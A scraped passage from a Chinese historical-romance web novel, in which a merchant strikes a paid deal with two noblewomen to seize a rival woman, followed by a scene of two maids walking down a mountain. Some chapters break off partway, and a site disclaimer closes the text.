见拓跋泽不住地含笑摇头,陆天骄继续道:“不止这装修气派豪华的门面,方才我可是在外面将那些客座的达官显贵们清清楚楚的看在眼里了。公子如今又何必在我面前谦虚至此呢?看起来,似乎元宵节之夜,我曾说要帮衬公子留在西秦里重振旗鼓,着实是天骄大言不惭了才对。”

拓跋泽直笑着摇头,道:“呵呵,这都是托这酒楼之前掌柜的福,方才有了这些老客源。加之在下又略微擅长些茶道,便在其原来基础上,稍作整改,成为了如今这座‘四海茶庄’。实则,只不过是借原酒楼这块儿宝地,用了一点小心思,与其原来的掌柜一起合作经营罢了,陆小姐真的是谬赞了。”

一番寒暄客套后,陆天骄也终于算是知道了面前的这个人为何会如此神通广大。

于是,她双手缓缓捧起面前的那盅香郁的九龙茶来,变作一脸诚恳地对其温婉道:“其实,在城南的那次偶遇后,原本我也以为与公子只是萍水相逢,此生再无交集……不过,没想到在我最孤独无助,困惑不已的时候还能再次遇到公子,想来这也实属是一种难得的缘份。既然你我同为天下沦落人,天骄又怎么会对身在异乡的公子眼下里的艰难视若无睹呢!不过,今日一见,看公子这四海茶庄的生意做的是有声有色,天骄也就放心了。过去的一切都过去了,我们就都将它忘记了吧,一切重新开始,愿我们都未来可期!”

说着,便以茶代酒先干为敬,而拓跋泽亦抿了抿嘴,微笑着仰头兀自将手里的酒一饮而尽。

然其心里却暗自琢磨着,像陆天骄这样出身名门,心气又高的傲娇小姐,眼里何时曾容下过别人,更何况她还深知自己以前是做那种营生的。他又怎会忘记当初她得知这件事时的恐慌和逃避。而此时,她如此反常的举动,拓跋泽越看越似是预感到了什么一般。

看着案上的稀罕菜色,拓跋泽忽然夹起案上一碟表面看似凹凸不平、状如

蜂窝般的菇类菜品,将其放到了陆天骄的碗碟里,朝其一脸欣喜,饶有兴致的介绍道:

“陆小姐请尝尝这道蜂巢菇,别看它虽其貌不扬,却是与松露、松茸齐名,堪比鱼翅燕窝还要稀罕的珍贵食材呢。它可是宴席上名扬天下的珍品,也是久负盛名的一味良药。很多宫廷里都以此来做滋补贡品,其性平、味甘,益肠胃,有独特的保健效果,比冬虫夏草更为养人。这可是当下春天里的第一道山珍呢,在下保证您尝过之后,一辈子都不会忘记它的味道。”

拓跋泽如此热情周到的招待着,然陆天骄却拿起帕子来轻拭了拭嘴角,对着其默了片刻,继而满腹心事又显得极为严肃认真地幽幽说道:“实不相瞒,这次天骄来找公子,除了探望公子之外,还有一事相求,不知公子可否......”

拓跋泽其实早就料到,具体打从第一次与其相遇时便已料到,总有一日,陆天骄一定会亲自上门来求自己。然却未想,竟会如此之快,就在陆天骄话刚说到一半的时候,突然一阵叩门声响起“咚咚咚。”

随即,便见走进来一腰间佩剑的侍卫模样,那侍卫一进门来便兀自朝着拓跋泽身边而去,直接附上其耳边对其低声耳语起来。

只不过须臾,又见拓跋泽对其怔了一下,继而又点了点头,那侍卫便又踱步了出去,将门轻轻掩上。

“公子可是有要事要处理,如此天骄今日便回去了,改日再......”

见此,陆天骄正欲起身来告辞,不料拓跋泽却伸手示意其不必理会,道:“陆小姐请继续说,并不是什么大不了的事。”

见拓跋泽如此淡定,陆天骄心中也着实着急,便又坐实了下去,继续方才的话头道:“其实,这次天骄来找公子,除了探望公子之外,还有一事相求。”

“陆小姐何须此言,既然陆小姐当在下是朋友,又何必如此客套,陆小姐的事,便是在下的事,陆小姐有话尽管直说,只要在下能办到的,一定竭尽全力帮到小姐!”

拓跋泽一边替其盛了一碗香滑软糯,由花胶、银耳、莲子、枣干、玉竹、百合、茯苓、红豆所煲成的具有益气补血和养颜功效的雪耳花胶汤,一边豪爽地道。

然陆天骄此时却早已毫无胃口,只见她秀眉蹙起,咬了咬嘴唇,又想了一会儿,终是心一横,炸出一句道:“不知公子可否以最快的速度赶到桃花店村里帮天骄处置一个人?”

&n

第二百九十章:蛮夷之地,何来周正之人

“另寻他人?如果在下没猜错的话,陆小姐心思缜密,一定已经盘算地很清楚了吧。一般人怕是绝对没有胆量帮陆小姐做这件事吧!那可是灵空战神秦王昭告天下要寻回的人呢,这秦王若是怪罪下来...到时候...怕是诛灭九族亦不止吧?!”拓跋泽起身绕着她身后走了一圈,边上下打量其边道。话语里,字字见血,句句戳其心间要害。

此话一出,屋里顿时静悄悄的,不知道过了多久,只听到拓跋泽低低的敲桌声音。陆天骄低头站着久久不动,脸上尽是满满的茫不知措,进退两难。

稍时,拓跋泽终是松口说道:“陆大小姐不要急嘛,在下又没说不做,只是......”

听到拓跋泽再次开口,陆天骄心里竟忽然似是有点儿不耐烦了,但还是隐忍着缓缓再次落座了下来,似是忽然间明白了其言语里的几分意思,便对其冷冷地质疑道:“你想要...筹码?...要多少?”

如今一切发展已然始终都在拓跋泽的牢牢掌控之中,他胸有成竹地笑着,半仰起头来道:“这满天下的秦王府寻人告示里,说的可都是若能寻到此人或者提供其下落消息的话,便可以向秦王府提出任何条件。那么,不知陆小姐到底有何比这更重的筹码呢?在下怕,陆小姐是没有付这筹码的能力呢?”

“拓跋泽...你......”闻此,陆天骄再次怒目着狠狠地瞪着拓跋泽的眼睛,顿时气的目瞪口呆。

拓跋泽果然翻脸不认人,竟与她谈钱。看来,和这个蛮夷之邦的一身铜臭味的商人果然无什么感情可言,亏她还差点儿把他当成了同病相怜的朋友。

可他说的也没错,西秦秦王要保的人,这天下又有几个人敢挑衅。但凡她昨夜里一夜未眠还能想起第二个人来,此时,她一定不会还傻傻在此遭人羞辱。

而眼前这个能有如此实力的人,想他所要的筹码,怕真未必是她所能负担的。

就在其正思索之际,门外忽然响起一女子霸气且颇有气场的声音来:“那不知我是否付的起这个筹码呢?”

拓跋泽正欲张口话还未出,忽见门被人从外面推了开来,继而便现出两名看似大户人家里调教出来的颇具礼数的谦卑婢女来,伸手掀开了厚厚的珠帘。

继而,只见从容不迫地缓缓迈步夺门而入一身着一袭淡紫色锦衣华服,神采奕奕的天仙来。

她冰肌玉骨、眉目如画,皓齿红唇,精致的一张小脸上两处甜甜的小酒窝,似要欲要将人都陷进去一般,眉心里还落着一颗罕见的红色美人痣,尽显灵气逼人,一颦一笑,顾盼生辉。

一时间里,拓跋泽竟怔望着那张天人面孔半张开嘴来,似是被钉住了一般,看呆了。

而一听到自己熟悉的不能再熟悉的声音忽然在耳畔响起,陆天骄亦顿时慌乱无措地站起身来朝其过去,怯怯地上前两步躬身行礼惊道:“姐姐,你怎么也来了?”

陆天骄驻足轻蔑地看了她一眼,却含笑隐忍着心间极大的愤怒道:“怎么,这城内新开张的大名鼎鼎的四海茶庄,你能来,本王妃就不能来?”

“姐姐莫要误会,妹妹只是不知你是怎么出得来王府的呢?”陆天骄甚为不解地问。

“不是你昨儿个才对本王妃说过,本王妃贵为秦王府唯一的女主人,想去哪,便去哪,谁都拦不住嘛!怎么,这么快便忘记啦!如此看来,妹妹一觉醒来,记性变得似是差了不止许多呢!”

梅汐媛在隔壁里听到这一切,早已是满心不悦着,而被陆天骄此刻这一语,又使她想起自己方才出门竟还要跟一侍卫报备,便更是来气了。

然她终是吸了口气,还是很快地调整好情绪深看了陆天骄一眼,又不屑地瞟了一眼正愣坐在一旁对自己垂涎三尺的拓跋泽,再次注视回陆天骄的脸上轻描淡写地问道:“这位便是你所说的那个给你写家书的人?”

闻此,陆天骄忙抬起眼来怒目疑惑地朝向瓜子脸婢女看去,那瓜子脸婢女一对上陆天骄的眼睛,便顿时低低地垂首了下去,半晌都不敢再抬起半分来。

梅汐媛见了,叹了口气,沉声坚定说道:“不要看了,本王妃的人就是本王妃的人,无论你使什么手段在她们身上,亦是不可能俘获她的心分毫的。枉你还身为西秦学院陆贤的女儿,被誉为西秦国一大才女呢,所谓‘蛮夷之地,何来周正之人’,竟如此轻易地便相信了这个蛮人,上了他的当,奸商奸商,果然无奸不商。”

闻此,陆天骄顿时哑口无言地垂首安静了下来。

而此时,拓跋泽却正在一旁暗自心里沾沾自喜着。以他如今的身份,自是无法近身秦王府,然没想到他的一石二鸟之计,竟如此简单地便让这俩女子互相猜忌着纷纷自己走出了王府,寻到了他的面前来。

昨日,他出门本欲打算托人将书有自己新的落脚之地的信交给陆天骄,而当他走至半路的时候,忽然听到

第二百九十一章:筹码翻倍,我要活的

拓跋泽竟兀自过去在梅汐媛的对面坐了下来,幽幽道:“因为在下知道,秦王妃和陆大小姐一样,想要一个人永远消失,需要在下的帮忙。”

闻此,虽然神情依然不屑一顾,然终是心底丝丝缕缕的忧伤缓缓浮了上来,出卖了自己。竟忍不住端起茶盅来,轻抿了一口。

见此,拓跋泽亦总算是倒抽了口气,继而面色沉静地对其说道:“事已至此,我们大家就不妨都打开天窗说亮话吧!在下可以帮二位去桃花店村亲手解决了那个女人,而我要的筹码是…除了黄金一万两,在下还要西秦守护者的画像,听说它已经被宫里的人送到了秦王府。秦王妃是秦王唯一的枕边人,相信这个对于秦王妃来说…并不难吧!”

闻此,梅汐媛冷笑了一声,道:“你还真是狮子大开口啊!还说自己不是奸商!”

“当然,秦王妃也可以另请高明,出了这个门,在下就当在此今日里的事从来都没有发生过,也从未见过秦王妃。”拓跋泽兀自说完这句话,自斟自饮下一盏酒。

梅汐媛犹豫了片刻,吐了口浊气后爽快道:“好吧,你的条件,本王妃都答应,这个筹码本王妃来付!不过,本王妃有个条件,黄金我可以再加一倍,但要你务必将那个女人抓活的回来见我。本王妃一定要亲自验明正身后你方才可对她动手,否则本王妃是一分一厘也不会支付给你的。”

“好,那就这么决定了,和秦王妃谈买卖,果然痛快。不过,口说无凭,咱们还是立个字据吧!来人,准备笔墨纸砚。”

拓跋泽霎时心情大悦,奋笔疾书下契约字据一式两份后,又各自印上了俩人的手印。

拓跋泽将其中一份恭敬地递到梅汐媛面前,道:“来,这份是王妃您的,预祝咱们合作愉快!”

赵嬷嬷立刻上前替其收好,倒是也巧了,正好拓跋泽认得衣上云,否则梅汐媛和陆天骄还真怕他找错了人呢!那寻人告示上的女子画像遮了一条面纱,若不是以前熟识的人,任谁能认得出呢?

若不是再无他法,梅汐媛自是不屑与这种蛮夷之地的奸商合作。拒绝了拓跋泽的请客,一席人便被其亲自送出了茶庄大门,上了马车。

回王府的路上,陆天骄陪同梅汐媛共乘一车,陆天骄紧紧咬着嘴唇,欲言又止,欲言又止,几次三番后终是低下头去什么也没有说。

而梅汐媛则一上车便闭起了眼睛来看似在闭目养神,实则是在竭力压制着自己早已愤怒而又复杂极了的心情。

眼下,光这黄金两万两,便已几乎将她的一半陪嫁快要耗尽。幸亏母后当初想的周到,怕她独自在西秦会遇到诸多难处,所以做了极丰厚的准备。否则,怕是这次在那个蛮夷奸商

的面前就难逃自取其辱了。

而那个拓跋泽,他到底是什么人?竟有如此手段,还胆敢挑战那睥睨天下的灵空战神,秦王轩辕翰。他真的如此简单,只是个北烈国商人吗?而陆天骄她显然还不如自己了解拓跋泽的多,此刻,梅汐媛的心里纳闷极了。

原来,西秦守护者画像已经到了王府了,她又该如何才能找到它呢?父王也要那副画像,那到底是个怎样的谜呢?

因为俩人皆都心事重重着,不知不觉中,马车便已停在了秦王府庄严肃穆的大门前。

下了马车,不知是心虚还是因为坐车坐的太久了,陆天骄目无焦点地凝视着前方,脸上无限凄苦地一边走一边琢磨着,竟感觉这双腿仿佛已不是自己的一般。

赵嬷嬷扶着梅汐媛走在前面,她默默地紧跟其后,一迈步到韶华阁里,待梅汐媛刚一落座,便顿时回过神来上前去一脸歉然地欲对梅汐媛解释:“姐姐,我……”

岂料梅汐媛尽显一副疲惫地一手支着额头在身旁的案几上,缓缓伸出另一手来朝她无力地摆了摆,沉声道:“改天再说,你先下去吧。”

无奈,陆天骄只得黯然失神,默默地独自回到了燕栖阁里。

刚进屋,有一侍卫手里拿着一卷画轴叩门进来道:“陆小姐,这是程将军临行前特意交待属下转交给你的一幅画,说是你父亲给你的。”

“我父亲,他来过王府?”陆天骄惊声问道。

“陆院长来的那晚,陆小姐并不在府里,因为是宫里送他过来给王爷送东西的。所以,只留下这副画便又匆匆回宫复命去了。”侍卫如实相告道。

“原来如此,我知道了,谢谢。”

闻此,侍卫正欲转身离去,陆天骄忽又开口问:“对了,请问秦王殿下何时回府?”

“殿下的行踪,一向都只有程将军一人知晓,属下不知。”

侍卫离去,陆天骄方才走到书案边,缓缓将手里的画轴打开,深情地看着落在上面的每一根熟悉的线条。

从小到大,父亲每年过年的时候,都会凭着记忆帮她画一张自己的画像留念,十几年如一日,从未间断过。想起这一切,她不禁悄悄地拭起眼角的泪来。

看着看着,忽然似是发现了这张画里有些小小的异样似的,蹙眉纳闷地低声喃喃自言自语道:“今年的这副画像上的眉眼,怎么根本一点儿也不像是我,父亲这是怎么了?”

时间一点一点地流逝着,透过窗棂射入屋内书案上的光线渐渐倾斜,陆天骄的心,亦似是跟着那夕阳慢慢沉了下去。

而此时,骁龙会的后山上,峰峦叠嶂,林木联袂,郁郁苍苍,恰似一道拱卫其阵地的绿色屏障被披上了一袭金黄色轻纱一般,看起来甚暖。

山中山、水、林、泉、瀑、峡、花等景色一应俱全,更有亭楼飘涉于层峦翠柏之巅。

现下,正是满山的鸟语花香,唯漫山遍野的灿烂樱花开的最旺的季节。春风吹拂山野,一株株,一排排,白如霜雪,灿若云霞,朵朵轻飞如云,让人看了好不惬意!

此时,兰香和燕儿正挎着竹篮走在下山回去的路上,燕儿边走边惊讶地道:“兰香姐,没想到骁龙会这小小后山中,竟约摸生有一百多种山茶花呢,真是令人惊讶!”

因为整座后山山脚下各处均有人牢牢把守着,山中也遍布隐藏着的守卫,所以并无需另外派人时时刻刻跟踪她们。

然兰香却似是根本没有听她所言,兀自嘴里叼着一根青草,满副入神地若有所思的样子。

燕儿见了有些纳闷,努了努嘴,再次试探着饶有兴致地道:“方才山上的那个石龙窟,长宽皆足有一丈之阔,洞窟里刻的那一躯石龙,虽无龙角,然看似身躯尤为矫健,昂视长天,前二爪向上急攀岩顶,后爪攫地,势欲凌空。那雕刻的刀法粗犷、线条苍劲。布局构图精巧,雕刻手法或浅浮雕,或深浮雕,或镂空,奇妙无穷。”

刚一说完,便又探了一眼兰香脸上的表情,岂料兰香竟还是无动于衷着。

这次燕儿是真的生气了,她当即忿忿地两手叉于腰间,驻足停了下来,然兰香却独自依旧继续着脚下的动作,兀自走出了很远,亦没有发觉燕儿早已经掉队了。

于是,燕儿在其身后无奈又抓狂地使劲跺起了脚来,扬声怒气冲冲地道:“兰香姐,这几日里你到底在想什么嘛,你可不可以不要只憋在自己心里将它说出来呢,不要让燕儿永远都像个傻子一样不知道你整日里在打算些什么好不好?”

这时,兰香方才忽地回过神来发现燕儿并没有跟上来,便猛地回头寻声搜索而去。继而一脸歉然地踱步回到燕儿的身旁,含笑盯視了她许久,缓缓拉起她的手来,一边继续走一边道:“燕儿,我告诉过你,这是我自己的事。我是不想拖累你,也不想你为我担心,所以才不告诉你的。你能陪在我身边,我已经很感激了。”

然燕儿依旧努着嘴一脸的不高兴,想走不想走地拖拽着兰香的手,心疼道:“可你这整天茶不思饭不想,坐卧不安,魂不守舍的样子,燕儿看着都难受,燕儿怕你若是再这样下去,一定会生病的呢!”

“好燕儿,不要怕,此生大仇未报,我是不会这么轻易便死去的!”兰香挽着燕儿的胳膊一边走,一边对其信誓旦旦道。

闻此,不知为何,燕儿却忽然再次驻足停了下来,一脸黯然神伤地愣在了原地里一动不动,兰香遂不解地忙问她:“你又怎么了?”

燕儿瞬间黯然道:“曾经,我家小姐也是像你方才那样,唤我‘好燕儿’的,可是现在她却...小姐……”

原来如此,兰香亦是瞬间心里一阵刺痛,咬了咬嘴唇,将燕儿的脑袋轻轻靠在自己的肩上,一边轻抚着她,一边安慰已然落泪起来的燕儿道:“燕儿不要哭,你家小姐一定会回来的,一定会的。”

话音刚落,忽然一阵嘈杂声从附近隐隐约约地传入到俩人的耳朵里来。

于是,燕儿吸了吸鼻子,直起身子来惊问同样疑惑不解的兰香道:“兰香姐你听,是什么声音……”

(本章完)



免责:该文章采集于网络,相关权利归相关人所有!!!本站不承担任何责任!!
更多文章: 1024社区 xp1024.com